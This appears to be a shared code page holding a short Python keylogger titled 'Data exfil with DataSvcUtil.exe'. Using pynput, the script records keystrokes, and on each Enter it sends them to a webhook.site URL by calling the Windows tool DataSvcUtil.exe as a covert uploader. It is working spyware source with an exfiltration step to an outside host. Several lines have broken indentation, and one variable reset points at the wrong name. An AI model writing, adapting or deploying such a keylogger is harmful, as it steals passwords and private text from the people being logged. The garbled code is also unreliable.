Data exfil with DataSvcUtil.exe

<> DataSvcUtil.py   Raw

```python
 1   # From: https://github.com/moses-palmer/pynput
 2   from pynput.keyboard import Key, Listener
 3   import os
 4   import sys
 5   import subprocess
 6   URL = 'https://webhook.site/xxxxxx-xxxxx-xxxx-xxxxx-xxxxxxx'
 7   uploader = "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe"
 8   content = ""
 9   def on_press(key):
10       global content
11       global URL
12       global uploader
13       if str(key) == 'Key.backspace':
14           content += ' '
15       else:
16           content += str(key)
17   print(f'last key: {str(key)}')
18       print("")
19   if str(key) == 'Key.enter':
20           upload_url = (f'{URL}?{content}')
21           subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url])
22           buffer = ''
23   if key == 0x03:
24           sys.exit(0)
25   if __name__ == "__main__":
26       try:
27           with Listener(on_press=on_press) as listener:
28               listener.join()
29       except (KeyboardInterrupt, SystemExit):
30           sys.exit(0)
```
